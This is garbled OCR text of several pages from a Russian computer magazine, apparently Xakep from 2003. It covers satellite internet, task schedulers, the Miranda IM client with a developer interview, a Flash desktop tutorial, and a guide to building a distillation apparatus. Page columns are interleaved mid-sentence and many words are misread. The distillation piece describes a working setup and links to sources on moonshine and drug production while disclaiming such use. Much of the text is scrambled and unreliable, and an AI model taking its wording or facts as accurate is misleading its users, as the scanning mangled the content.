спутника и от координаты населенного ! е дома закрывают горизонт. Там, rae ты |} ры тарелки. На той же странице ты найдешь 
пункта, где ты живешь. Твои окна или бал- ! собрался ставить тарелку, прикинь, не за- ! пример, ссылку для скачки и ссылку для оп- 
кон должны выходить на спутник, чтобы ты ! гораживает ли здание спутник! i ределения координат твоего города: 
смог направить на него антенну. Конечно, |} Найдешь других прикольных провайдеров- : http://www.gs.ru/?sect=sat_inet&s=Tels 
антенну можно поставить на крышу, но это пиши! tar-FAQ 
уже другие деньги. Если твой друг-сосед, Список провайдеров здесь: ‚ Прога живет здесь: http://www.smw.se 
живет в направлении нужного спутника, ' http://www.rokc.ru/ | 
есть возможность юзать одну антенну на ро солнце здесь: Мнение: 
двоих, тро х и вообще на всю тусовку. http://www. hiking.ru/orient/ From: 5p1k3 <fallout@pisem.net> 
В этой табличке я собрал провайдеров с : orient times.htm : 
терпимой ценой, которых смог найти. Цены ро солнце и спутники здесь: | Respect Доктор Добрянский, 
ланы очень примерно, для того чтобы ты | ~=http://www.sat2000.net/sputniktv/a.htm '! присоединяюсь к общему празднованию по 
смог прикинуть. На самом деле можно выб- Выбрав спутник и провайдера, ты можешь | поводу появления ежемесячной рубрики 
рать тарифный план подешевле, а можно за- |} смело идти к антенщикам и просить поста- ! «Паяльник» *<:-). Как всегда, хочется про- 
казать тестовый (бесплатный). Не у всех вить тарелку, все необходимое тебе пред- должения того, что было написано раньше в 
есть ограничение по объему траффика. ! ложат. Если ты хочешь попробовать все это Хакере и Спеце. У меня туттакой вопрос: где 
Направление тарелки я рассчитал для Моск- ' самостоятельно, то оставайся с нами! Как ! можно купить нормальный паяльник? С ре- 
i гулятором температуры, нормальным жа- 
= ‚ Лом, etc, fav He за 100 буказоидов. Ато вез- 
Доктор Добрянский не несет i де либо их вообще нет, либо такие, каки 
‚ только кузов OT БелАЗа паять :), а все MO 
ответственности за любой вред, ! старые перегорели :(. Thanks in advance. 


: Ответ: и мы тоже очень рады ежемесячно- 
‚ му<«Паяльнику», здорово, если так пойдет 
: дальше! В Москве можно купить паяльник 
(не тот, который читают, а тот, которым па- 
яют) на радиорынке, в радиомагазине у 


принесенный в результате 


использования опубликованной 


информации. Все методы и схемы даны м. «Проспект Мира», да и вообще в любо 
‚ хозяйственном магазине или вещево 
только в ознакомительных целях. | рынке (если повезет). 
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Деметрас (demetras@xakep.ru) 
+ Д-р. Добрянский (Dr.Cod@real.xakep.ru) 
| 


Всю стеклотару, увиденную 
тобой, при желании можно 
легко купить на любимом М- № 
по Ва//ХаН, на «Гтичьем» 
рынке или в химмагазе. При 


ays ee : этом придется разориться на 
1 AN | и 4 b YMC ук ДИ и = 1 

воле" square приятней несколько сотен все еще де- 

у и rue : ae ae ревянных. Однако не пробле- 


ма изготовить многие узлы 
из подручных материалов. 


РАБОЧЕЕ УСТРОЙСТВО: ПЕРЕГОННЫЙ АППАРАТ 


Свойство воды при кипении - 
усиленно испаряться в виде 
пара, который создает давле- 
ние на несчастный сосуд. При 
этом из сосуда (в нашем слу- 
чае стеклянная колба) будет 
идти густой пар. Если этот 
пар подать через трубку в хо- 
лодильник/змеевик, то он 
конденсируется и стечет в 
другую колбу в виде воды. Но! 
Это будет ДРУГАЯ вода, кото- 
рая не будет содержать всей 
той отравы, текуцей из крана 
в наших домах (хлорка, фе- 
кальные примеси, тяжелые 
металль), собственно она BO- 
обще не будет ничего содер- 
жать, кроме молекул [450 и 
примесей незначительной 
концентрации. 


Приходится признать, что модернизирован- 
ые перегонные аппараты некоторые пло- 
хие несознательные люди используют для 
производства самогона, винта и других нар- 
OTUKOB, судя по сайтам: htto:/Awww.stop- 
a.ru/drink/samogon/samogon33.shtml, 
http://shinin.narod.ru/vint.htm. Ho Х против 
аркотиков! С помощью этой статьи мы хо- 
тим призвать всех заядлых алконавтов и 
аркоманов получать на своих перегонных 
аппаратах ИСКЛЮЧИТЕЛЬНО полезную ди- 
стиллированную воду! 
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4. Холодильник состоит из двух трубок, на- 
ходящихся одна в другой. По внутренней 
дет охлаждаемый пар, а внешняя трубка 
подключена к водопроводу, и по ней прого- 
няют холодную воду, охлаждая пар в труб- 
е. В холодильнике пар конденсируется и 
превращается в капельки жидкости. 
5. Капельки очищенной жидкости попадают 
в приемную колбу. Если это вода с эфир- 
ным маслом, то его собирают либо с по- 
верхности воды, либо со дна сосуда. Если 
это спирт, то он просто разбавлен в воде. В 
нашем случае это просто чистая вода. Что- 
бы лучше очистить жидкость, ее снова за- 
правляют в новый (чистый) отгонный сосуд, 
перегоняют заново. 
В приемной колбе, как ты видишь, тоже 
есть регулятор давления, все для тех же це- 
лей (от большого бума). 
6. Насадка Вюрца заюзана в нашей кон- 
струкции на всех трех колбах. Ее можно 
легко заменить резиновой пробкой с двумя 
дырками и трубками. Однако такая насадка 
работает в нашем случае как каплеулави- 
тель, возвращая назад капельки жидкости. 
Входная трубка такой насадки идет почт 
до дна, а выходная улавливает пар у само- 
го выхода из сосуда. Насадка Biopua вы- 
полнена в виде притертой крышки. Колбы 
между собой соединены притертыми по- 
верхностями и шлангами. 


КОНСТРУКЦИЯ И ФУНКЦИИ 
7. Схема агрегата! Закрепим полученные 
знания! 
1) Изпарообразователя выходит пар (голу- 
бая стрелка). При избытке давления вода 
синяя стрелка) подымается по трубке и да- 
вление уравнивается. 
2) В отгонном сосуде смесь нужного веще- 
ства. Мы ее пробулькиваем паром из паро- 
образователя и получаем пар нужного ве- 
щества (розовая стрелка) и остатки пара из 
парообразователя (голубая стрелка). 

3) Пар поступает в холодильник, в котором 
циркулирует холодная вода (синие стрелки). 
4) Из холодильника в приемный сосуд по- 
ступают остатки жидкости из парообразо- 
вателя (синяя стрелка) и нужный дистиллят 
красная стрелка). 
Экспериментируя с парообразующей жид- 
костью и отгонной смесью, а также с темпе- 
ратурами, можно отогнать хоть черта лысого! 


1. Внешний вид перегонного аппарата в 
вытяжном шкафу, разберем его детально! 
2. Первая колба - парообразователь, под 
нее ставится нагреватель (в нашем случае 
электроплитка). При нагревании из колбы по 
трубке идет пар в следующую (отгонную) 
олбу. Из парообразователя идут две трубки. 
С первой понятно, а вторая специально ни- 
да не подключена, она предназначена для 
регулирования давления, если ее заткнуть, 
то будет большой бум. Трубка давления л 
жна быть в длину не меньше метра. Для рав- 
номерного кипения в парообразователь ки- 
лают «кипелки» из пористой керамики. 
3. Допустим, ты купил на улице бутылку де- 
1евой паленой водки и залил ее в отгонную 
олбу для получения чистого продукта для 
протирки всяких там компьютерных и не 
очень поверхностей. 
Температура кипения спирта ~73°C, в то 
время как температура кипения воды 
~100°C. Единственная трудность, которая 
тебя ожидает, - это подбор температуры 
нагрева именно для твоих целей. Испаре- 
ние молекул спирта происходит за счет то- 
го, что они легче молекул воды. И вто вре- 
я как молекулам воды еще не хватает 
энергии, чтобы полететь, молекулы спирта 
активно испаряются, оставляя в OTTOHHOM 
сосуде одну воду с вредными примесями. 
Пар из парообразователя пробулькивается 
в виде пузырьков через смесь в отгонной 
олбе. При этом пузырек водяного пара ча- 
стично замещается на более летучее ве- 
цество, которое летит в холодильник. При 
пробулькивании душистых растений - это 
эфирные масла; паленой водки или браги - 
спирт. Мы пробулькивали воду водяным па- 
ром и получали более чистый водяной пар. 
роцесс начинается только после того, как 
отгонная колба хорошенько прогреется. 
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ВЫВОДЫ 


Не умеешь обращаться с аппаратом - не 
лезь! Незнакомые вещества не нагревай, ато 
все взорвется. Над аппаратом не наклоняй- 


CA, ато лицо испортишь. Продукты производ- 
ства не нюхай и не пей, а то отравишься! 
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ЧАСТО БЫВАЕТ ТАК, ЧТО НУЖНО УЙТИ ПО НЕСТЛОЖНЫМ ДЕЛАМ 
ИЛИ СДЕЛАТЬ РАБОТУ ПО ДОМУ, ИЛИ БАНАЛЬНО ПОСПАТЬ. A 


комп в это ВРЕМЯ НИЧЕМ HE ЗАНЯТ. 


НЕ выполняются 


ТРУДОЕМКИЕ. И ДОЛГИЕ ПРОЦЕССЫ, НЕ ИСПОЛЬЗУЕТСЯ 
XAAABHbIA НОЧНОЙ ИНЕТ. А КАК БЫ БЫЛО ХОРОШО, ЕСЛИ БЫ В 
ТВОЕ ОТСУТСТВИЕ НИ ОДНА СЕКУНДА ПРОЦЕССОРНОГО 
ВРЕМЕНИ НЕ ПРОПАДАЛА ЗРЯ. ДУМАЕШЬ, НЕРЕАЛЬНО? 
СОБСТВЕННО, Я НЕ ПОНИМАЮ, ЧТО ТЕБЕ МЕШАЕТ... 


ИНТЕГРИРОВАННОЕ 
ППАНЫРОВАНЫЕ 


...Ибо всем известно, что сущест- 
вует достаточно большое количе- 
ство программ, выполняющих 
функции планировщика. Такая 
программа даже есть в... Кто ска- 
зал - встроенный планировщик? 
Мальчик, встань, покажись ауди- 
тории. Как тебя зовут, мальчик? 
Так тебя зовут Билли! Поприветст- 
вуем все Билли, охрана, выведите 
его из зала. Так вот, даже в винду 
встроен планировщик задач. Не то 
что бы он отличался большой 
функциональностью, но это уже не 
просто будильник :). Планировщик 
задач представляет собой апплет 
из панели управления или команду 
консоли At. Итак, «панель управле- 
HUA» > «назначенные задания» > 
«добавить задание». Если на ком- 
пе нет назначенных заданий, то 
при запуске «мастера планирова- 
ния заданий» возможен неболь- 
шой подвисон - это стартует служ- 
ба планировщика. Выбираем про- 
гу, тип запуска (каждый день, не- 
делю, месяц, один раз, при загруз- 
ке, при входе), время запуска и 
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пользователя, под чьим именем 
будет выполняться задание. После 
создания задания можно всегда 
подкорректировать его свойства, 
а также задать максимальное вре- 
мя на выполнение задания, запуск 
задания через определенное вре- 
мя простоя компа и параметры, 
связанные с энергопотреблением. 
Если для создания задачи исполь- 
зуется команда At, то можно со- 
здать задачу на удаленном ком- 
пьютере. Вот вроде и все возмож- 
ности встроенного планировщика. 


Мастер планирования заданий 


Много чего не хватает для полного 
счастья, однако в сочетании с ко- 
мандным языком виндовой консо- 
ли можно создавать достаточно 
навороченные батники, которые 
будут удовлетворять почти всем 
твоим запросам. 


ВСЕМОГУШИЙ RPOHOC 


Если при прочтении последних 
строчек про написание батников в 
ста ты брезгливо поморщился, то 


Выделите программу, которую нужно запускать. 
Для выбора других программ нажмите кнопку 


"Обзор". 
Приложение 


[8$ 1b Order Online - Immediate ... 
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А без визардов - даже и задачу не создать 


тебе точно не стоит ставить прогу 
nnCron (www.nncron.ru). Юниксои- 
ды без труда вспомнят, что демо- 
на-планировщика для юниха кли- 
чут Сгоп’ом. Создатель ппСгоп, 
видимо, хотел повторить его 
функциональность, и это ему уда- 
лось. Более того, ппСгоп гораздо 
функциональнее и удобнее своего 
собрата. Несмотря на то, что за- 
дания достаточно удобно добав- 
лять и через гуевый интерфейс (а 
тут есть задания и напоминания а 
[а будильник), истинная мощь про- 
ги достигается при ручном напи- 
сания сготаб-файлов. Их синтак- 
сис частично заимствован из 
Сгоп’а, но в основном представ- 
ляет собой конструкции языка 
Форт, на котором написан и сам 
nnCron (признаюсь к своему сты- 
ду, до того, как залез в доки к про- 
ге, и не подозревал, что есть та- 
кой язык - Форт). С помощью ви- 
зуального интерфейса можно со- 
здавать задания, выполняющиеся 
по времени и через определенные 
интервалы времени (это стан- 
дартно), а можно создавать зада- 
ния, выполняющиеся по событию. 
Среди возможных событий: за- 
грузка и выключение компьютера, 
вход пользователя, установление 
и разрыв связи и другие. Особен- 
но меня привлекает событие: на- 
жатие клавиши. nnCron может 
служить неплохим менеджером 
горячих клавиш, вот уж не ожидал 
:). Аеще можно задать несложное 
условие для задания вроде нали- 
чия связи, открытого окна или за- 
пущенного процесса, существо- 
вания файла. Кстати, в качестве 
заданий может выступать не толь- 
ко запуск прог или открытие доку- 
ментов, но и запуск java и vbscript, 
установка связи, закрытие окон, 
завершение процессов и прочее. 
Неплохие возможности, не так ли? 


НУ и ВТОРОЙ МИНУС - ДИСПЕТЧЕР 
ЗАДАЧ ЗРИКСИРУЕТ ОТЖИРАНИЕ 
почти 12 меГОВ ПАМЯТИ 


(NNGRON ЖРЕТ ВСЕГО 1.5). 


Могучий Кронос 


Но если ты думаешь, что это все, 
на что способна прога, - загляни в 
доки, тебе станет плохо :). Если 
программировать сгощаб-файлы 
вручную - то станет возможным 
написание задание с ветвлением 
if... else... конструкции Case. Мож- 
HO отслеживать изменения Ha веб- 
страницах и локальных папках, 
следить за доступностью опреде- 
ленных хостов, работать с реест- 
ром и удаленными соединениями, 
сворачивать окна в трей. Посы- 
лать сообщения окнам, выполнять 
перемещение курсора и ввод с 
клавиатуры. Доступны средства 
удаленного администрирования 
(просто подсоединяешься с помо- 
щью telnet на указанный в наст- 
ройках порт и работаешь с консо- 
лью ппСгоп). Кроме того, nnCron 
поддерживает регулярные выра- 
жения в духе перла (отличия не- 
значительные), так что поиск и за- 
мена не должны представлять 
проблему. Единственный возмож- 
ный минус - в Форте используется 
так называемая инверсная поль- 
ская запись, а к ней сложно при- 
выкнуть (для тех, кто в первый раз 
о таком слышит, приведу простой 
пример инверсной записи: 4 2 +. 
Это означает 4+2. Или посложнее: 
2341 - +. Это означает 1+4-3+2. 
Конструкция условного оператора 
выглядит так: «условие» if «дейст- 
Bue» else «действие» ). Хотя это 
дело практики, а ради таких воз- 
можностей можно и попрактико- 
ваться :). Ко всему вышесказанно- 
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Симпатичные и очень 
прожорливые часики 


му можно добавить, что програм- 
ма является бесплатной для жите- 
лей бывшего СССР (обожаю таких 
программистов :)), весит всего 
350 кило. Почти столько же весит 
файл справки в chm :). Настоя- 
тельно рекомендую скачать его с 
сайта автора, равно как и неболь- 
шой справочник по Форту - писать 
кронтабы станет не в пример лег- 
че :). 


ЧАСНЕН 


Консоль и сценарии это, конечно, 
клево, юзер теперь ленивый по- 
шел. Визарды портят людей :). 
Мдя, что бы тебе предложить-то... 
Ну, хотя бы Chameleon clock 
(www.softshape.com). Очень попу- 
лярные и симпатичные часики об- 
ладают также и планировщиком 


ДОМАШНИЙ ГОСПЛЯН 


нониксоиды БЕЗ ТРУДА ВСПОМНЯТ, 


STO ДЕМОНА-ПЛАНИРОВЦЩЦИКА ДЛЯ 
юнихА KAN4YYT GRON. СОЗДАТЕЛЬ 


NNGRON, видимо, XOTEA 
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задач. По функциям он уступает 
ппСгоп (это мягко говоря), зато 
все красиво и просто. В планиров- 
щике все стандартно: запуск при- 
ложения или документа в опреде- 
ленное время или через опреде- 
ленный интервал. Поддерживает- 
ся также запуск по событию, но их 
всего три: вставка диска, передви- 
жение указателя в угол экрана 
(оригинально и удобно) и простой 
компьютера определенное время. 
Хотя лично для меня функции пла- 
нировщика в этой проге не важны - 
я использую ее как замену стан- 
дартным часикам и как календарь. 
Она ведь умеет рассчитывать ПМС 
:). Просто зайди на закладку 
«Periods watch». А теперь о груст- 
ном: прога хочет денег, вне зави- 
симости от твоей национальности 
:(. Хотя программер вроде как рус- 
ский. Ho Chameleon clock очень 
популярные часики, так что как- 
нибудь выкрутишься :). Ну и вто- 
рой минус - диспетчер задач фик- 
сирует отжирание почти 12 мегов 
памяти (ппСгоп жрет всего 1.5). 
Куда ей столько - непонятно. У ме- 
ня антивирус вместе с фаервол- 
лом кушают столько же. 


ПРИЗРАН BPEMEHH 


Если ты хочешь воспользоваться 
каким-нибудь другим планиров- 
щиком - лезь на любой сайт с бес- 
платным софтом и качай, особо не 
глядя. Отличаются между собой 
только интерфейсом, мало кто да- 
леко уходит от обычного будиль- 
ника. Лучше уж использовать пла- 
нировщики заданий, которые 
встроены в софт. Встроенный 
планировщик есть во многих про- 
дуктах от Зутащес (вот тебе и 
проверка диска, дефрагментация, 
скан на вирусы), в известных ка- 
чалках (Flashget, Ведет, Getright) и 
оффлайновых браузерах (Teleport 
pro, WebZip). Недавно появился 
планировщик задач во всенарод- 
но любимом The Вай. Надо же 
юзать ночной Инет по полной :). 
Ну а для стопроцентной автомати- 
зации не забудь настроить вклю- 
чение компа по таймеру из биоса 
и добавить в софт задачу для вы- 
ключения - и пусть ничто не пре- 
рывает твой сон. Кроме любимого 
оверклокерского кулера и новей- 
шего тихого винта :). Пусть тебя 
убаюкают мысли о звуконепрони- 
цаемом корпусе и водяном охлаж- 
дении :). 
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СЛУЧИЛОСЬ В МОЕМ ДОМЕ НЕСЧАСТЬЕ... МОЙ НОУТБУК, ДОСЕЛЕ 
РАБОТАВШИЙ БЕЗ ГЛЮКОВ И ПЕРЕБОЕВ (ГРАМОТНЫЙ УХОД, 
МАЗРАКА!), НЕДЕЛНЗ НАЗАД ПОЛУЧИЛ НА ВИНЧЕСТЕР ПОРЦИНЗ 
OECEPTA, ИМЕНУЕМУНЗ В ПРОСТОНАРОДЬЕ ТРЕТЬИМ 
СЕРВИСПАКОМ. И НАЧАЛОСЬ... НЕСУСВЕТНЫЕ ГЛНЗОКИ С ПАМЯТЬНЭ, 
СЛЕПОЙ ИК-ПОРТ, ПЕРЕСТАВШИЕ РАБОТАТЬ ХАРДВАРНЫЕ 
XOTKEM... КОРОЧЕ, ПОНЯЛ Я, ЧТО НЕ ИЗБЕЖАТЬ МНЕ 
ТОТАЛЬНОГО ПЕРЕХОДА НА ХР, ИБО ВОЗМОЖНОСТЬ АНИНСТАЛЛА 
SP3 БЫЛА МНОЙ ПРЕДУСМОТРИТЕЛЬНО ОТКЛЮЧЕНА 3). 


Но это все лирическая присказка, в 
результате которой я стал зани- 
маться архивацией доков, заливкой 
на болванки дистрибов и кряков, а 
самое главное - судорожным запо- 
минанием текущих настроек прог, 
которые были отточены до оптиму- 
ма. И тут как раз возникла идея по- 
делиться этим оптимумом с тобой. 
Так что если тема архиправильной 
расстановки чекбоксов будет тебе 
близка, обязательно накатай мне 
письмецо на эту тему. Может быть, 
эта статейка положит начало цело- 
му авторскому циклу :). 

А начну я с полезнейшей проги, ко- 
торую я бесстыдно забыл в обзоре 
альтернативного софта в прошлом 
номере. Это Miranda (http://miran- 
da-icq.sourceforge.net/), аська Ha 
восьмушку дискеты. И пусть Кирион 
и ему подобные захлебнутся слю- 
ной, доказывая преимущество 
Trillian (кстати, конструктив прини- 
мается по мылу), переубедить меня 
будет до жути сложно. И вот почему. 


СУТЬ 


Что есть Миранда? Миранда есть 
простой и понятный клиент сетей 
мгновенного обмена сообщениями. 
Именно сетей, а не сети - на данный 
момент она поддерживает ICQ, 
AOL, MSN и Jabber. Причем все 
протоколы подключаются простым 
копированием а!-плагинов в дирек- 
торию проги :). Есть даже плагин 
Lizard Skin, да вот беда - проект 3a- 
гнулся, и скинов теперь никто не де- 


09ч april/O4/2003 


лает :(. Но это не беда, мне лично по 
уши хватает изменяемой прозрач- 
ности окна :). Но к делу, ато рассказ 
получится эмоциональным, но бес- 
системным :). 


ФЫЧН Н ДЕБРИЫ 


Многими ли приятными вещами мо- 
жет нас накормить Миранда в стан- 
дартной поставке? Если учесть, что 
весит она меньше 300 кило в архи- 
ве, то многими :). Поскольку по-рус- 
ски ты читать умеешь, я не буду рас- 
писывать названия опций, а уж най- 
ти, где поставить галку, - дело нехи- 
трое. Соответственно, совсем про- 
стые разделы я пропущу и оставлю 
тебе на растерзание :). 

Итак, основные приятности спрята- 
ны в менюхах: 


СЕТЬ 

+ пинговать сервак липовыми 
мессагами, чтобы нас не отрубало 
за бездействие, очень полезная 
штука на диалапе, у меня за счет 
Миранды держится вся связь. 

+ получать реальные подтверж- 
дения о доставке сообщения то- 
же полезно, но создает некоторые 
проблемы с оффлайн-мессагами. 

+ регулировать детальность со- 
общений об ошибках, 

четыре вполне внятных уровня, пер- 
вый для пофигистов, последний для 
параноиков (у меня последний :)). 
+ прямые соединения 

советую выставить только для кон- 
такт-листа - это полезно в плане 


скорости, но светит айпишник (его 
можно посмотреть в логах любого 
файрволла или вообще стандарт- 
ными сетевыми утилами). 

+ контакты 

тут у меня стоят все галки, причем 
иногда я нажимаю на «управление 
списком» и перезаливаю лист на 
сервер - надежности для :). Ахране- 
ние списка на серваке позволяет 
мне запустить с работы ICQ2GO! 
(htip://go.icg.com/) и наслаждаться 
своим контакт-листом. Такая вот 
клиентонезависимость :). 


СОБЫТИЯ 

+ журнал 

обойдемся без советов, детализа- 
цию и отображение логов каждый 
выбирает сам :). Я вот, к примеру, 
отключил только «Время» и убрал 
гадкий красный шрифт, которым 
печатались мои сообщения. 

+ звуки 

звуки сразу на фиг! Но не навсегда 
:). Потерпи чуток, скоро доберемся 
до плагинов, и ты поймешь, почему 
я так скептичен ;). 


Вон сколько меня до меня зарегилось :) 


+ игнор-лист 

я пока сделал только одно - отклю- 
чил прием урлов от невесть кого, 
ибо это есть самый злобный спам 
:). Остальное - по вкусу. 

+ передача файлов 

обязательно (!) включить докачку. 
Она работае"! :))). 


КОНТАКТЫ 

+ значки 

вот это просто песня! Для каждой 
сети можно подключить свои значки 
статуса пользователей, пунктов ме- 
ню и трея. Причем в контакт-листе 
могут свободно соседствовать раз- 
ноцветный гербарий аськи, бегущие 
дистрофаны AOL’a, безногие теле- 
пузы MSN’a и лампочки Ильича 
Jabber’a. Все стандартные иконки 
для ВСЕХ сетей можно слить одним 
паком, что не может не радовать (пак 
называется Original Gangsta Icons). 
+ OKHO 

тут снова все персонально, HO не 
может не радовать настройка про- 
зрачности. У меня окошко висит в 
фоне с прозрачностью 50, а при на- 
ведении на него мышки резко плот- 
неет до 90. Еще очень полезная оп- 
ция - «Растягивать вверх», когда 
при чрезмерном увеличении листа 
окно не лезет краем на трей, а «вы- 
растает» вверх. 


Все остальные настройки весьма 
стандартны для любых клиентов, ик 
чести разработчиков их еще дохре- 
на :). Не поленись и пробеги все 
глазами, авось попадется что-то 
потребное именно тебе :). А мы 
движемся дальше. 


ППУГЫНЫ ABA ПОДУЙЫ 


В первый же день после скачки ре- 
лиза Миранды (эта была версия 0.2) 
я скормил Телепорту весь сайт 
http://miranda-icq.sourceforge.net/ 
и подключил почти все плагины. По- 
том убрал кучу малополезных про- 
сто за ненадобностью, потом убрал 
дублирующие друг друга модули, и 
в итоге получил примерно следую- 
щий состав: 


ha 
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Миру - мир, сетям - менюхи! 


И снова Дронича пробило на общение с разра- 
ботчиками :). Выцепив в сети Мартина Оберга, 
я задал ему пару ласковых по поводу Миранды. 
Лог на буржуйском выложен на воскресшем 
winfo.org в разделе статей. 

0: Первый глупый вопрос: зачем была 
написана Миранда? В чем была фишка 
проекта? 

МО: Три года назад некий FixBug начал кодить 
альтернативный клиент для сети ICQ, так как 
продукты Мирабилиса были тормознутыми и 
бажными. Упор был сделан на минимальное ис- 
пользование памяти и проца. Кстати, этой идее 
мы верны до сих пор, хотя теперь Миранда 
держит гораздо больше протоколов. 

0: Кто занимается написанием плагинов 
под Миранду? Вас спрашивают, что было 
бы прикольно накодить, или кодят на 
свой страх и риск? 

МО: В основном плагинами занимаются люди, 
которым небезразлична судьба Миранды. В 
основном они реализуют свои собственные 
идеи, хотя случается, что кодеру подбрасывает 
мысль один из юзеров в нашем форуме. К то- 


Atomic 

Просто корректирует системное 
время по атомным часам. Никогда я 
не пользовался прогами, которые 
это делают (так как их надо было от- 
дельно запускать), хотя все часы в 
доме ходили, как хотели :). Теперь у 
меня есть хотя бы одни точные - на 
компе, благо раз в день и чаще они 
сверяются с эталоном. 

Changelnfo 

Этот модуль устраняет один из глав- 
ных минусов Миранды - до его уста- 
новки она может показывать твои де- 
тали, но для их редактирования про- 
сит пользоваться сайтом :(. Неэтично. 
Changelnfo просто добавляет еще од- 
ну закладку в панель «Личные дан- 
ные», с которой можно поправить всю 
свою приватно-общественную инфу. 
Contactsex 

Я сначала думал, что этот плуг про- 
пишет мне в контакты дэушек, кото- 
рых сильно обременяет их девствен- 
ное состояние :). Однако это оказа- 
лось совсем не так :) (а может и :(, кто 
знает...). После его установки в кон- 
текстном меню каждого из твоих кон- 
тактов появится одна или несколько 
(как настроишь) опций из списка: 
«полученные файлы», «сайт юзера», 
«последний раз в сети» и «копиро- 
вать IP». У меня включены первая и 
последняя, ты же выбирай сам. 
StatusFloater 

Просто и со вкусом - позволяет наст- 
роить маленький попап, вываливаю- 
щийся каждый раз, когда отмечен- 
ный тобою юзер меняет статус на он- 
лайн/оффлайн. Также эта байдовина 
позволяет выносить контакт в от- 
дельное окошко. Очень удобно, когда 
кого-то трудно отловить. Рекомен- 
дую всем, кто хочет отловить меня :). 
NewStatusNotify 

А вот эта фишка будет покруче пре- 
дыдущего плагина, это практически 
оперативный центр слежения за юзе- 
рами. Умеет очень многое, следит за 
изменением статуса даже с «Ушел» 
на «Ушел совсем» :). Начинающим 
СОРМовцам пригодится стопудово. 
ЗеерМоае 

Полезность этой штуковины для ди- 
алапщиков просто колоссальна! 
Она отслеживает модемные соеди- 
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му же многим сложно разработать свой проект 
мессенджера, а прикрутить к нашему свою фи- 
чу довольно просто :). 

0: Что случилось с проектом скинов Ли- 
зард? Будут ли вообще скины под Ми- 
ранду? 

МО: Миранда находится в стадии бета-тести- 
рования, поэтому автору плагина надо следить 
за изменениями АР! и переписывать части пла- 
гина при необходимости. Автор Лизарда на это 
забил, этот плаг стал жутко нестабильным и в 
итоге был удален с нашего сайта. Новый мо- 
дуль поддержки скинов, возможно, появится, 
HO это не в наших ближайших планах. 

О: А что же в них? Может, плагин для се- 
ти Одиго? 

МО: Добавление новых сетей - это наше ос- 
новное направление. Поэтому, скорее всего, 
плагин для Одиго скоро появится. Пока же мы 
занимаемся совершенствованием ядра, что 
пройдет незаметно для юзеров. Зато кодеры 
оценят простоту создания новых клевых плаги- 
нов. А ближайшие релизы - новые качествен- 
ные модули поддержки IRC и АМ. 


нения и в случае их нахождения :) 
меняет статус на «онлайн» автома- 
тически. Ну разве не прелесть для 
наших бажных линий, обогащенных 
дисконнектами? № MODEM USER = 
true then must have. 

Speak 

Вот и приехали! Я считаю этот плагин 
одним из самых полезных и функцио- 
нальных, а уж о понтах я даже не за- 
икаюсь. Итак, Speak работает на базе 
стандартного СпичАпи виндов и за- 
нимается комментированием собы- 
тий, зачитыванием сообщений и при- 
ветствием хозяина :). До этого я 
очень скептически относился к голо- 
совым фичесам - развлечение, дев- 
чонок постремать да и все. Но в Ми- 
ранде Speak стал для меня заменой 
почти всем возможным плагинам :). 
Эта сволочь начала покорять меня 
еще на стадии настройки - не успел я 
снять галку с «Не читать длинные 
мессаги», как из колонок полился 
ровный бас: «Я буду зачитывать сооб- 
щения независимо от их длины». 
Шарман, мля :). А после соответству- 
ющей корректировки пд-файла, в ко- 
тором прописаны все его фразы, 
Speak стал настоящим безбашенным 
киберпанком. И в конце концов, про- 
сто удобно просматривать сайт и слу- 
шать музыку, на фоне которой звучат 
все полезные и бесполезные сооб- 
щения тебе :). Кстати, под ХР Speak 
должен работать еще лучше, так как 
версия SAPI в нем подросла и научи- 
лась разбираться с лексиконом. Кто 
знает, может через пару дней я научу 
эту заразу озвучивать смайлики :))). 
Кстати, в отличие от подобного рас- 
ширения для простой аськи (хоть 
убей, не помню, как оно зовется), 
Speak отлично работает и в режиме 
чата (a не только Single Message). 


OWER 


Вот и все Ha сегодня, с одной из по- 
лезных и нужных программ разо- 
брались. В следующий раз мы по- 
мучим кого-нибудь другого, а если 
тебе понравится, то наш БДСМ бу- 
дет продолжаться. До скорых 
встреч на страницах WINfo! 
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НИ ЗА ЧТО НЕ NOBEPH, ЧТО ПУТИ KO ВСЕМ ТОБОЙ ГЛУБОКО 


УВАЖАЕМЫМ МЕСТАМ В НЕТЕ ТЫ 
БОЛЕЕ Я СОМНЕВАНЗСЬ, 


помнишь НАИЗУСТЬ. TEM 
4TO ТЕБЯ АБСОЛНТНО НЕ ЛОМАЕТ 


КАЖДЫЙ РАЗ ДАВИТЬ КЛАВУ, НАБИВАЯ УРЛЫ. СТАРИК Билл 


БЫЛ ДОБРЫМ 4YBAKOM, 


ОН ДЛЯ ТАКИХ, 


KAK мы, 


СОТВОРИЛ 


«ИЗБРАННОЕ». ТАК ПОЙДЕМ ЖЕ ЗА ПРОГРЕССОМ И ОБГОНИМ 
ЕГО, СДЕЛАВ ДОСТУП К ЛЮБИМЦАМ НА СВОЙ ЛАД, TO ЕСТЬ 


КАК HAQO! 


ЧЕГО #0ЧУ. 
ТО Н ТВОРЮ 


Индифферентность будет на твоем 
лице тогда, когда я выдам мысль: 
воплотить суть избранного на Рабо- 
чей поверхности того самого Бил- 
ли. В принципе, на него достаточно 
было бы наверстать элементарную 
HTML-ky со всеми твоими ссылка- 
ми, ведь изначально твой Active Ра- 
бочий стол обычный *.html. Но мы 
же с тобой не простые, а анимиро- 
ванные и, плюс к тому, векторные. 
Тут не обойтись без старого добро- 
го Flash’a. 


| 


SS ООО 


Ana начала залезь в свойства 
флешки (меню Модификация / Ви- 
деофрагмент) и поставь там разме- 
ры 320 X 768, в смысле высота 
больше. Далее ставим цвет фона 
светло-серым. 

Начнем с рисования. Создай новый 
символ кнопки «В - Start». Рисуй Tam 
какую-нибудь маленькую штучку, 
которая всегда и везде заставляет 
мягко улыбнуться. Для кого-то это 
аськин цветочек, для кого-то - эмб- 
лема Windows, не суть важно. Глав- 
ное, чтоб шириной это нечто было 
меньше 50px - будет удобнее и кра- 
сивее. Еще позаботься, чтоб в кноп- 
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ке присутствовали все четыре кад- 
ра. А работать она будет, как кно- 
почка «Избранное» в меню IE, - бу- 
дет вызывать, собственно, меню 
«Избранное». 

Выход из меню (сворачивание) сде- 
лаем посредством другой пимпы. 
Назовем ее «В - Close». В ней изоб- 
рази то, что неразрывно связанно с 
закрытием приложения - жирный 
крест. На разработку накладывают- 
ся те же требования, что и у преды- 
дущей кнопки, только ширина нуж- 
на ровно 20 рх. 

Следующий символ - кнопка про- 
крутки «В - Move». Она должна быть 
тонкой широкой полоской 300 на 10 
пикселей фона с маленькой стрел- 
кой, показывающей вверх или вниз 
- решай сам. Во всех кадрах, кроме 
первого, цвет фона кнопки сделай 
таким же, как цвет основного фона, 
а в первом кадре - чуть-чуть потем- 
